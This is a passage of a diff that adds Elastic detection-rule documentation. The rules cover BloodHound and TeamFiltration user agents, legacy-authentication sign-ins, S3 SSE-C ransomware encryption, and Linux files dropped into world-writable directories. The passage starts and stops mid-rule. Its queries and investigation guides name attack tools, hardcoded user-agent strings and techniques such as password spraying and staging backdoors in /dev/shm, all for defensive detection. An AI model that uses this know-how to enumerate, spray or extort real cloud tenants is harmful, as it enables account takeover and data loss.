azure.signinlogs.properties.app_owner_tenant_id: ( + "f8cdef31-a31e-4b4a-93e4-5f571e91255a" or + "72f988bf-86f1-41af-91ab-2d7cd011db47" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc new file mode 100644 index 0000000000..b59f404933 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-28-entra-id-sign-in-bloodhound-suite-user-agent-detected]] +=== Entra ID Sign-in BloodHound Suite User-Agent Detected + +Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/bloodhound-overview/ +* https://github.com/SpecterOps/AzureHound +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Data Source: Graph API +* Data Source: Graph API Activity Logs +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. + +The detection is based on known enumeration patterns, particularly the presence of suspicious user agent strings (e.g., `azurehound/`, `sharphound/`, `bloodhound/`) in various Azure and M365 logs. The rule monitors multiple log sources, including: + +- Azure Graph API Activity Logs +- Microsoft 365 Audit Logs +- Entra ID Sign-in Logs +- Entra ID Audit Logs +- Azure Activity Logs + +This ensures broader detection of credential abuse, token misuse, or unauthorized identity discovery activity from both interactive and non-interactive (API) sessions. + + +*Possible investigation steps* + + +- Confirm the tool used via `user_agent.original`. Look for: + - `azurehound/x.y.z` + - `bloodhound/1.0` + - `sharphound/1.0` +- Examine `url.original` or `url.path` to determine which APIs were accessed if Graph API activity logs. For example: + - `/v1.0/organization`, `/v1.0/users`, `/v1.0/groups` may indicate user/group/tenant discovery. +- Identify the `user.id`, `user.name`, or `azure.auditlogs.properties.initiated_by.user.user_principal_name` fields to determine which identity executed the API request. +- Review `app_id`, `app_display_name`, or `client_id` to identify the application context (e.g., Azure CLI, Graph Explorer, unauthorized app). +- Check `http.request.method`, `http.response.status_code`, and `event.action` for enumeration patterns (many successful GETs in a short period) if Graph API activity logs. +- Investigate correlated sign-ins (`azure.signinlogs`) by the same user, IP, or app immediately preceding the API calls. Was MFA used? Is the location suspicious? +- Review `source.ip`, `client.geo.*`, and `network.*` fields to determine the origin of the requests. Flag unexpected IPs or ISPs. +- If the event originates in M365 Audit Logs, investigate cross-service activity: Exchange Online, Teams, SharePoint, or role escalations via Unified Audit. + + +*False positive analysis* + + +- This activity may be benign if performed by red teams, internal security auditors, or known security tools under authorization. +- Automated monitoring solutions, cloud posture scanners, or legitimate Azure/M365 integrations may generate similar traffic. Review the `app_id` and user context. +- Developer activity in test tenants may include tool usage for learning or validation purposes. + + +*Response and remediation* + + +- If confirmed malicious: + - Revoke active sessions or tokens associated with the identified user/app. + - Disable the account or rotate credentials immediately. + - Review the role assignments (`Directory.Read.All`, `AuditLog.Read.All`, `Directory.AccessAsUser.All`) and remove excessive privileges. + - Conduct historical analysis to determine how long enumeration has been occurring and what objects were queried. + - Enable Conditional Access policies to require MFA for API and CLI-based access. + - Validate audit logging and alerting is enabled across Microsoft Graph, Azure Activity Logs, and M365 workloads. + +- If legitimate: + - Document the source (e.g., red team operation, security tool). + - Add appropriate allowlist conditions for service principal, user, source address or device if policy allows. + + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset : ( + "azure.activitylogs", + "azure.graphactivitylogs", + "azure.auditlogs", + "azure.signinlogs", + "o365.audit" +) and user_agent.original regex~ "(azure|sharp|blood)(hound)/.*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Virtual Machine Discovery +** ID: T1673 +** Reference URL: https://attack.mitre.org/techniques/T1673/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc new file mode 100644 index 0000000000..2ee715559c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-28-entra-id-sign-in-teamfiltration-user-agent-detected]] +=== Entra ID Sign-in TeamFiltration User-Agent Detected + +Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://github.com/Flangvik/TeamFiltration + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. + +The detection is based on TeamFiltration's hardcoded user agent string and/or the use of `Electron` by monitoring multiple log sources, including: + +- Azure Graph API Activity Logs +- Microsoft 365 Audit Logs +- Entra ID Sign-in Logs +- Entra ID Audit Logs +- Azure Activity Logs + + +*Possible investigation steps* + + +- Confirm the tool used via `user_agent.original`. +- Identify the `user.id`, `user.name`, or `azure.signinlogs.properties.user_principal_name` fields to determine which identity executed the API requests or sign-in attempts. +- Review `app_id`, `app_display_name`, or `client_id` to identify the application context (e.g., Azure CLI, Graph Explorer, unauthorized app). TeamFiltration uses a list of FOCI compliant applications to perform enumeration and password spraying. TeamFiltration uses Microsoft Teams client ID `1fec8e78-bce4-4aaf-ab1b-5451cc387264` for enumeration. +- Check `http.request.method`, `http.response.status_code`, and `event.action` for enumeration patterns (many successful GETs in a short period) if Graph API activity logs. +- Investigate correlated sign-ins (`azure.signinlogs`) by the same user, IP, or app immediately preceding the API calls. Was MFA used? Is the location suspicious? +- Review `source.ip` or `client.geo.*` fields to determine the origin of the requests. Flag unexpected IPs or ISPs. Check the for the use of several source addresses originating from Amazon ASNs (e.g., `AS16509`, `AS14618`, `AS14618`) which are commonly used by TeamFiltration as it proxies requests through FireProx and Amazon API Gateway. +- If the event originates in M365 Audit Logs, investigate cross-service activity: Exchange Online, Teams, SharePoint, or role escalations via Unified Audit. + + +*False positive analysis* + + +- This activity may be benign if performed by red teams, internal security auditors, or known security tools under authorization. + + +*Response and remediation* + + +- If confirmed malicious: + - Identify successful sign-in attempts or API calls made by the user or app. + - Revoke active sessions or tokens associated with the identified user/app. + - Disable the account or rotate credentials immediately. + - Review the role assignments (`Directory.Read.All`, `AuditLog.Read.All`, `Directory.AccessAsUser.All`) and remove excessive privileges. + - Conduct historical analysis to determine how long enumeration has been occurring and what objects were queried. + - Enable Conditional Access policies to require MFA for API and CLI-based access. + - Validate audit logging and alerting is enabled across Microsoft Graph, Azure Activity Logs, and M365 workloads. + +- If legitimate: + - Document the source or user (e.g., red team operation, security tool). + - Add appropriate allowlist conditions for service principal, user, source address or device if policy allows. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:("azure.signinlogs" or "o365.audit") + and ((user_agent.name:"Electron" and user_agent.os.name:"Windows" and user_agent.version:"8.5.1") or + user_agent.original:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.30866 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Virtual Machine Discovery +** ID: T1673 +** Reference URL: https://attack.mitre.org/techniques/T1673/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc new file mode 100644 index 0000000000..a4f8373d57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-28-entra-id-user-sign-in-via-unusual-legacy-authentication-client]] +=== Entra ID User Sign-In via Unusual Legacy Authentication Client + +Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are frequently abused by adversaries for password spraying and account takeover because they translate into single-factor Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy client authentication for a given user, which is unusual in most modern environments. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://redcanary.com/blog/threat-detection/bav2ropc/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-In via Unusual Legacy Authentication Client* + + +Legacy authentication clients use basic authentication and do not support modern authentication or interactive multi-factor authentication. Microsoft Entra ID classifies these clients under `client_app_used` values such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, MAPI Over HTTP, Outlook Anywhere, and Other clients (as opposed to the modern values Browser and Mobile Apps and Desktop clients). Adversaries prefer these clients because they translate into single-factor ROPC grants that bypass interactive MFA, making them effective for password spraying and account takeover. + +This rule is a New Terms detection that fires when a Member user principal is first seen authenticating with a legacy client in the last 7 days. In environments that have largely moved to modern authentication, a new legacy-client sign-in for a user is unusual and warrants review. It is a broader companion to the targeted ROPC detections and catches legacy protocols beyond Authenticated SMTP. + + +*Possible investigation steps* + +- Review `azure.signinlogs.properties.client_app_used` to identify which legacy protocol was used and whether the user is expected to use it. +- Review `azure.signinlogs.properties.user_principal_name` to determine whether the account is a human user, a service account, or a shared mailbox, and whether legacy authentication is part of its normal behavior. +- Review `azure.signinlogs.properties.client_ip` / `source.ip`, geolocation, and ASN to determine whether the source is expected. Correlate with known-malicious infrastructure. +- Inspect `user_agent.original`. Values such as `BAV2ROPC`, `python-requests`, `curl`, or other scripting-tool agents are highly suspicious. +- Check `azure.signinlogs.properties.applied_conditional_access_policies` to determine whether legacy-authentication blocking was expected to apply and why it did not. +- Look for a preceding burst of failed authentications (password spraying) from the same source or against the same account, and for post-authentication actions such as mailbox rule creation, mail forwarding, or OAuth consent. + + +*False positive analysis* + +- Legitimate legacy applications, service accounts, multifunction printers, scan-to-email appliances, and monitoring tools may still use legacy authentication clients such as Authenticated SMTP. These are typically stable in source IP and account and can be excluded once verified. +- Migrations, onboarding of older mail clients, or line-of-business applications that have not yet moved to modern authentication can generate first-occurrence sign-ins. Validate the business context and exclude confirmed benign accounts. + + +*Response and remediation* + +- If the sign-in is confirmed malicious, disable the account, revoke active sessions and refresh tokens, and reset the password. +- Disable the specific legacy protocol for the affected mailbox (for example `Set-CASMailbox -SmtpClientAuthenticationDisabled $true`) and, where feasible, block legacy authentication tenant-wide with Conditional Access. +- Enforce MFA for the affected user and investigate the source IP and any preceding failed-authentication activity to scope a potential password-spray campaign. +- Review the account's activity after the sign-in (mailbox rules, forwarding, delegate changes, OAuth grants) and remediate any unauthorized changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.action: "Sign-in activity" and + event.outcome: "success" and + azure.signinlogs.properties.user_type: "Member" and + azure.signinlogs.properties.client_app_used: ( + "Authenticated SMTP" or + "Autodiscover" or + "Exchange ActiveSync" or + "Exchange Online PowerShell" or + "Exchange Web Services" or + "IMAP4" or + "MAPI Over HTTP" or + "Offline Address Book" or + "Outlook Anywhere" or + "Outlook Service" or + "POP3" or + "Reporting Web Services" or + "Other clients" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-excessive-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-excessive-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..ffcc312f58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-excessive-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-28-excessive-aws-s3-object-encryption-with-sse-c]] +=== Excessive AWS S3 Object Encryption with SSE-C + +Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Excessive AWS S3 Object Encryption with SSE-C* + +This rule identifies a high volume of objects being encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objects uploaded such as a ransom note. + - For `CopyObject` events, the adversary may be performing in-place re-encryption by copying objects to themselves using SSE-C keys they control, rendering the originals unrecoverable without the key. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ("PutObject" or "CopyObject") + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-file-creation-in-world-writable-directory-by-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-file-creation-in-world-writable-directory-by-unusual-process.asciidoc new file mode 100644 index 0000000000..6f28692cf5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-file-creation-in-world-writable-directory-by-unusual-process.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-28-file-creation-in-world-writable-directory-by-unusual-process]] +=== File Creation in World-Writable Directory by Unusual Process + +This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rapid7.com/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation in World-Writable Directory by Unusual Process* + + +This alert flags a Linux process that normally should not stage content in shared writable locations such as /tmp, /var/tmp, /run, or /dev/shm. Attackers abuse these directories because many users and services can write there, which makes payloads and helper scripts easier to hide; for example, a compromised shell may use curl or python to drop an ELF backdoor into /dev/shm and execute it from that transient path. + + +*Possible investigation steps* + + +- Reconstruct the full process lineage and execution context around the file creation to determine whether it originated from an interactive session, scheduled task, container, service account, or a parent process already running from an unusual location. +- Inspect the dropped file's type, permissions, ownership, hash, and contents to assess whether it is a script, ELF, archive, or disguised payload, and determine if it was later executed, renamed, or moved to a more persistent path. +- Correlate the alert with nearby authentication, privilege escalation, and network activity on the same host to identify signs of compromise such as recent SSH access, sudo use, remote command execution, or outbound connections to untrusted infrastructure. +- Validate whether the activity aligns with known administrative or software deployment behavior by checking package ownership, change records, automation tooling, and host or user prevalence, since one-off staging in shared writable paths is more suspicious than common fleetwide behavior. + + +*False positive analysis* + + +- Legitimate package installation, OS update, or local maintenance script activity can use interpreters or utilities such as cp, mv, chmod, curl, or python to stage temporary files in /tmp or /var/tmp before moving them into place, so verify whether the process tree, user, and event time align with expected system change or package management activity on the host. +- Normal service startup or deployment automation may create transient files in /run or /dev/shm for configuration generation, caching, or runtime state, so confirm the file owner, contents, and parent process match a known application or boot-time workflow and that the same behavior is regularly seen on comparable systems. + + +*Response and remediation* + +- Isolate the affected Linux host from the network while preserving forensic access, stop the malicious process and any spawned tools, and collect copies of the dropped file before cleanup. +- Remove attacker footholds by deleting the dropped file. +- Restore the system to a known-good state by rebuilding from a trusted image or validated backup and verifying core packages, shell configuration files, scheduled tasks, and remote access settings match the approved baseline before reconnecting it. +- Escalate to incident response immediately if the file creation was followed by privilege escalation, credential access, outbound tool downloads, lateral movement over SSH, or the same behavior is identified on multiple hosts, and expand scoping to related accounts and systems. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.type:creation and ( + process.name:("cp" or "mv") or + process.executable:( + ./* or /tmp/* or /var/tmp/* or /dev/shm/* or /run/user/* or /var/run/user/* or /boot/* or /sys/* or + /lost+found/* or /proc/* or /var/mail/* or /var/www/* + ) +) and +file.path:(/run/* or /var/run/* or 